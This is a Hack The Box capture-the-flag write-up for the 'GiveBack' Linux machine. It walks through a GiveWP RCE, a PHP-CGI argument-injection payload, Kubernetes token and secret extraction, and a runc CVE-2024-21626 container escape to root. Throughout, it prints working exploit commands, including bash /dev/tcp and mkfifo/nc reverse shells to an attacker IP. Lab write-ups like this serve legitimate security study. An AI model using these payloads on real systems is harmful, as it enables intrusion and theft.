> m4rt@CTF_ARCHIVE:~$

Hack The Box / LINUX / 2026-02-21

Hack The Box — GiveBack (Linux)

WordPress (GiveWP) RCE, pivot in Kubernetes environment, secret extraction, SSH access as babywyrm, and root via runc CVE-2024-21626 through /opt/debug.

Target

  • IP: 10.129.241.88

Nmap

sudo nmap -sC -sV 10.129.241.88 -p- -v
PORT      STATE    SERVICE      VERSION
22/tcp    open     ssh          OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA)
|_  256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519)
80/tcp    open     http         nginx 1.28.0
|_http-favicon: Unknown favicon MD5: 000BF649CC8F6BF27CFB04D1BCDCD3C7
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-generator: WordPress 6.8.1
|_http-server-header: nginx/1.28.0
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-title: GIVING BACK IS WHAT MATTERS MOST – OBVI
6443/tcp  filtered sun-sr-https
10250/tcp filtered unknown
30686/tcp open     http         Golang net/http server
|_http-favicon: Unknown favicon MD5: 078C07D5669A42740EF813D5300EBA4D
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 200 OK
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Load-Balancing-Endpoint-Weight: 1
|     Date: Sat, 01 Nov 2025 20:56:09 GMT
|     Content-Length: 127
|     "service": {
|     "namespace": "default",
|     "name": "wp-nginx-service"
|     "localEndpoints": 1,
|     "serviceProxyHealthy": true
|   GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions:
|     HTTP/1.0 200 OK
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Load-Balancing-Endpoint-Weight: 1
|     Date: Sat, 01 Nov 2025 20:55:52 GMT
|     Content-Length: 127
|     "service": {
|     "namespace": "default",
|     "name": "wp-nginx-service"
|     "localEndpoints": 1,
|_    "serviceProxyHealthy": true
|_http-title: Site doesn't have a title (application/json).

Web findings:

  • WordPress 6.8.1
  • robots.txt contains /wp-admin/
  • Extra HTTP service on 30686

WordPress Enumeration

Visit:

  • http://10.129.241.88/

Run WPScan:

wpscan --url http://10.129.241.88/ -e ap --plugins-detection aggressive -t 50 -v

Important note: - The aggressive plugin scan can be unreliable here because too many requests trigger HTTP 503. - Wappalyzer confirms WordPress 6.8.1.

A useful link found on the site:

  • http://giveback.htb/donations/the-things-we-need/

Add host entry:

# /etc/hosts
10.129.241.88   giveback.htb

Initial Access — GiveWP RCE

On the website we can do a donation.

Wappalyzer extension tells us that GiveWP is in use

A vulnerability with an exploit exists:

  • https://github.com/EQSTLab/CVE-2024-5932

Start listener + HTTP server:

nc -vlnp 4444
python3 -m http.server 5555

I obtained a reverse shell in two steps:

python CVE-2024-5932/CVE-2024-5932-rce.py -u http://giveback.htb/donations/the-things-we-need/ -c "echo 'bash -i >& /dev/tcp/10.10.14.85/4444 0>&1' > /tmp/rev"
python CVE-2024-5932/CVE-2024-5932-rce.py -u http://giveback.htb/donations/the-things-we-need/ -c "bash /tmp/rev"

On the netcat terminal, I got a reverse shell.

Shell Upgrade

script -qc /bin/bash /dev/null
# CTRL+z
stty raw -echo
fg

Check identity:

id
uid=1001 gid=0(root) groups=0(root),1001

Container Enumeration

Environment appears to be Bitnami.

cd /opt/bitnami/wordpress
cat wp-config.php

Credentials from wp-config.php:

define( 'DB_NAME', 'bitnami_wordpress' );
define( 'DB_USER', 'bn_wordpress' );
define( 'DB_PASSWORD', 'sW5sp4spa3u7RLyetrekE4oS' );
define( 'DB_HOST', 'beta-vino-wp-mariadb:3306' );

Connect to MySQL:

mysql -h beta-vino-wp-mariadb -u bn_wordpress -p
# password: sW5sp4spa3u7RLyetrekE4oS
show databases;
+--------------------+
| Database           |
+--------------------+
| bitnami_wordpress  |
| information_schema |
+--------------------+
use bitnami_wordpress;
show tables;
-- We notice the wp_users table
select * from wp_users;
+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email       | user_url         | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+
|  1 | user       | $P$Bm1D6gJHKylnyyTeT0oYNGKpib//vP. | user          | user@example.com | http://127.0.0.1 | 2024-09-21 22:18:28 |                     |           0 | babywyrm     |
+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+

User hash found but not cracked with:

hashcat -a 0 -m 400 ./hash /usr/share/wordlists/rockyou.txt

File Transfer Trick (No curl/wget in container)

Attacker side:

cat myfile | nc -vlnp 4444

Victim side:

cat < /dev/tcp/10.10.14.85/4444 > myfile

Used to upload ip binary + needed libs.

LD_LIBRARY_PATH=/tmp/iproute2 ./ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0@if20: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue state UP group default
    link/ether e2:74:f3:1b:70:c8 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.42.1.198/24 brd 10.42.1.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::e074:f3ff:fe1b:70c8/64 scope link
       valid_lft forever preferred_lft forever
LD_LIBRARY_PATH=/tmp/iproute2 ./ip route
default via 10.42.1.1 dev eth0
10.42.0.0/16 via 10.42.1.1 dev eth0
10.42.1.0/24 dev eth0 proto kernel scope link src 10.42.1.198

From routing, likely host IP:

  • 10.42.1.1

Internal Network / Kubernetes Pivot

Upload static nmap binary and some nmap-related files:

cp /usr/share/nmap/nmap-services .
cp /usr/share/nmap/nmap-protocols .

Upload them on the target container

./nmap 10.42.1.1 -p- -v -T5
22/tcp    open  ssh
6443/tcp  open  sun-sr-https
10250/tcp open  unknown
30686/tcp open  unknown

Ports 6443 and 10250 are Kubernetes-related.

Reference: - https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/index.html

Chisel SOCKS tunnel

Download chisel and upload it on the target container.

Attacker:

./chisel server -p 9999 --reverse

Container:

./chisel client 10.10.14.85:9999 R:socks

Make sure that there is the following line in /etc/proxychains4.conf:

socks5  127.0.0.1 1080

Now we can interact with the host computer of the container through the SOCKS proxy.

Let's try to access the Kubernetes API:

proxychains curl -k https://10.42.1.1:10250/pods

However, we get unauthorized

Discover Legacy Internal CMS

Let's read the environment variables:

env

We find:

LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000

Browse through proxy:

proxychains firefox

Then go to http://10.43.2.241:5000

We notice:

GiveBack LLC Internal CMS System
Development Environment – Internal Use Only

Legacy Notice
**SRE** - This system still includes legacy CGI support. Cluster misconfiguration may likely expose internal scripts.

Internal Resources

    /admin/ — VPN Required
    /backups/ — VPN Required
    /runbooks/ — VPN Required
    /legacy-docs/ — VPN Required
    /debug/ — Disabled
    /cgi-bin/info — CGI Diagnostics
    /cgi-bin/php-cgi — PHP-CGI Handler
    /phpinfo.php
    /robots.txt — Crawlers: Disallowed

Developer Note

This CMS was originally deployed on Windows IIS using php-cgi.exe. During migration to Linux, the Windows-style CGI handling was retained to ensure legacy scripts continued to function without modification.

Interesting internal paths:

  • /cgi-bin/info
  • /cgi-bin/php-cgi
  • /phpinfo.php

PHP-CGI RCE on Internal Service

Searching on internet we find that there is a vulnerability of php-cgi.exe with a pulic exploit:

  • https://www.exploit-db.com/exploits/52331

To exploit the vulnerability on our attacker machine, we can use curl:

proxychains curl 'http://10.43.2.241:5000/cgi-bin/php-cgi?%ADd+cgi.force_redirect%3D0+%ADd+cgi.redirect_status_env%3D0+%ADd+fastcgi.impersonate%3D1+%ADd+open_basedir%3D+%ADd+disable_functions%3D+%ADd+auto_prepend_file%3Dphp://input+%ADd+allow_url_include%3D1+%ADd+allow_url_fopen%3D1' -d 'cat /etc/passwd'

We get the content of /etc/passwd, so we have command execution on that internal service.

Other example:

proxychains curl 'http://10.43.2.241:5000/cgi-bin/php-cgi?%ADd+cgi.force_redirect%3D0+%ADd+cgi.redirect_status_env%3D0+%ADd+fastcgi.impersonate%3D1+%ADd+open_basedir%3D+%ADd+disable_functions%3D+%ADd+auto_prepend_file%3Dphp://input+%ADd+allow_url_include%3D1+%ADd+allow_url_fopen%3D1' -d 'whoami'

Output indicates root on that internal service.

Reverse shell from internal service

Listener:

nc -vnlp 4444

Payload (no bash available, use /bin/sh + nc):

proxychains curl 'http://10.43.2.241:5000/cgi-bin/php-cgi?%ADd+cgi.force_redirect%3D0+%ADd+cgi.redirect_status_env%3D0+%ADd+fastcgi.impersonate%3D1+%ADd+open_basedir%3D+%ADd+disable_functions%3D+%ADd+auto_prepend_file%3Dphp://input+%ADd+allow_url_include%3D1+%ADd+allow_url_fopen%3D1' -d 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.85 4444 >/tmp/f'

Upgrade shell:

script -qc /bin/sh /dev/null
# CTRL+z
stty raw -echo
fg

Kubernetes Service Account Abuse

Inside the new container:

cd /run/secrets/kubernetes.io/serviceaccount
ls
ca.crt     namespace  token
cat token
eyJhbGciOiJSUzI1NiIsImtpZCI6Inp3THEyYUhkb19sV3VBcGFfdTBQa1c1S041TkNiRXpYRS11S0JqMlJYWjAifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzkzODQxMzQ0LCJpYXQiOjE3NjIzMDUzNDQsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiMmIyOGU3ZTEtZTQyOC00N2Y0LTk2ODktMDM0ODllZmU2Mjg5Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZ2l2ZWJhY2suaHRiIiwidWlkIjoiMTJhOGE5Y2YtYzM1Yi00MWYzLWIzNWEtNDJjMjYyZTQzMDQ2In0sInBvZCI6eyJuYW1lIjoibGVnYWN5LWludHJhbmV0LWNtcy02ZjdiZjVkYjg0LWdiOTc1IiwidWlkIjoiMDc5NDAzMjMtNjMyYi00NDA5LTkxMWItYzJmZmExZmJkY2E5In0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJzZWNyZXQtcmVhZGVyLXNhIiwidWlkIjoiNzJjM2YwYTUtOWIwOC00MzhhLWEzMDctYjYwODc0NjM1YTlhIn0sIndhcm5hZnRlciI6MTc2MjMwODk1MX0sIm5iZiI6MTc2MjMwNTM0NCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6c2VjcmV0LXJlYWRlci1zYSJ9.gX6h5fMqaUZW0CAKEvASHlnuTGrSTQKikxSaWZ48odzmRJV1YXauF_PUXptn89vPOffnT-3sle77899f3BM5sdRG1wTgqubGN7oiCNfVJP_9kIHzt_jQVC20S5YV2wRaWwhEGQ-ZIhoTPFDmqxYVr-28Kek5fmt9zCoUy_Ss4ssTQYSOjrKn7QHN58OQA_mEZkLrexSzi9ZQPQBdCIGiHoHGvwT3R--48HdWqBbah5fWaFbrG5arX2BZdPb5mSRB7tzFw1cM0ICmNpFwUcXdvtnmttSuOP7c2EbGO9EGGpApvKDnIlkU4MBIBb8wgHbDPxBni6OSG4InE3MLPL8vkQ
cat namespace
default
cat ca.crt
-----BEGIN CERTIFICATE-----
MIIBdzCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE3MjY5Mjc3MjMwHhcNMjQwOTIxMTQwODQzWhcNMzQwOTE5MTQwODQz
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE3MjY5Mjc3MjMwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAATWYWOnIUmDn8DGHOdKLjrOZ36gSUMVrnqqf6YJsvpk
9QbgzGNFzYcwDZxmZtJayTbUrFFjgSydDNGuW/AkEnQ+o0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUtCpVDbK3XnBv3N3BKuXy
Yd0zeicwCgYIKoZIzj0EAwIDSAAwRQIgOsFo4UipeXPiEXvlGH06fja8k46ytB45
cd0d39uShuQCIQDMgaSW8nrpMfNExuGLMZhcsVrUr5XXN8F5b/zYi5snkQ==
-----END CERTIFICATE-----

Useful website: https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/kubernetes-enumeration.html

Use token against Kubernetes API (attacker machine):

TOKEN="<token>"
proxychains curl -k -H "Authorization: Bearer $TOKEN" https://10.42.1.1:6443/api/v1/namespaces/default/secrets/ > res.txt

From res.txt, secret found:

"name": "user-secret-babywyrm",
"data": {
  "MASTERPASS": "azRNc2JTSld1OGVtcDV1aXMxRlNyVjNDNlRCeGlxdmI="
}

Decode:

echo -n 'azRNc2JTSld1OGVtcDV1aXMxRlNyVjNDNlRCeGlxdmI=' | base64 -d

Password:

k4MsbSJWu8emp5uis1FSrV3C6TBxiqvb

SSH as babywyrm

ssh babywyrm@giveback.htb
# password: k4MsbSJWu8emp5uis1FSrV3C6TBxiqvb

Check sudo permissions:

sudo -l
User babywyrm may run the following commands on localhost:
    (ALL) NOPASSWD: !ALL
    (ALL) /opt/debug
ls -la /opt/debug
-rwx------ 1 root root 1037 Nov 22  2024 /opt/debug

We cannot read the file, but we can execute it as root. Let's try to execute it:

sudo /opt/debug

It asks an administrative password.

In res.txt there are also other base64 credentials:

"data": {
  "mariadb-password": "c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T",
  "mariadb-root-password": "c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw=="
}

Decode mariadb-password:

echo -n 'c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T' | base64 -d

Output:

sW5sp4spa3u7RLyetrekE4oS

Use it as administrative password for /opt/debug.

sudo /opt/debug --help
[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password:
# use sW5sp4spa3u7RLyetrekE4oS

[*] Administrative password verified
[*] Processing command: --help
Restricted runc Debug Wrapper

Usage:
  /opt/debug [flags] spec
  /opt/debug [flags] run <id>
  /opt/debug version | --version | -v

Flags:
  --log <file>
  --root <path>
  --debug

So it seems that /opt/debug is a wrapper for runc with some restrictions.

Let's try the version command:

echo 'sW5sp4spa3u7RLyetrekE4oS' | sudo /opt/debug version
[*] Processing command: version
runc version 1.1.11
commit: v1.1.11-0-g4bccb38c
spec: 1.0.2-dev
go: go1.20.12
libseccomp: 2.5.4

Privilege Escalation — runc CVE-2024-21626

Exploit reference: - https://github.com/NitroCao/CVE-2024-21626

Generate spec:

echo 'sW5sp4spa3u7RLyetrekE4oS' | sudo /opt/debug spec

Patch config.json cwd:

sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

Create minimal rootfs:

mkdir -p rootfs/bin
cp /bin/bash rootfs/bin/
cp /bin/sh rootfs/bin/
cp /bin/ls rootfs/bin/
cp /bin/cat rootfs/bin/
cp /bin/echo rootfs/bin/

We also have to copy the needed libraries:

mkdir -p rootfs/lib
mkdir -p rootfs/lib64
cp /lib/x86_64-linux-gnu/libc.so.6 rootfs/lib/
cp /lib/x86_64-linux-gnu/libdl.so.2 rootfs/lib/
cp /lib/x86_64-linux-gnu/libtinfo.so.6 rootfs/lib/
cp /lib/x86_64-linux-gnu/libselinux.so.1 rootfs/lib/
cp /lib/x86_64-linux-gnu/libpcre2-8.so.0 rootfs/lib/
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/

Run container:

sudo /opt/debug --log ./log.json run demo

After providing admin password, escape and read host files:

cat ./../../../../../../etc/passwd
cat ./../../../../../../root/root.txt

Root flag obtained.

Additional Notes

If netstat is missing in a container, a static binary can help:

  • https://github.com/ab2pentest/linux-static-binaries/raw/refs/heads/main/x64/netstat

Example usage from this target:

./netstat -ano

(Used to inspect internal connections and service exposure.)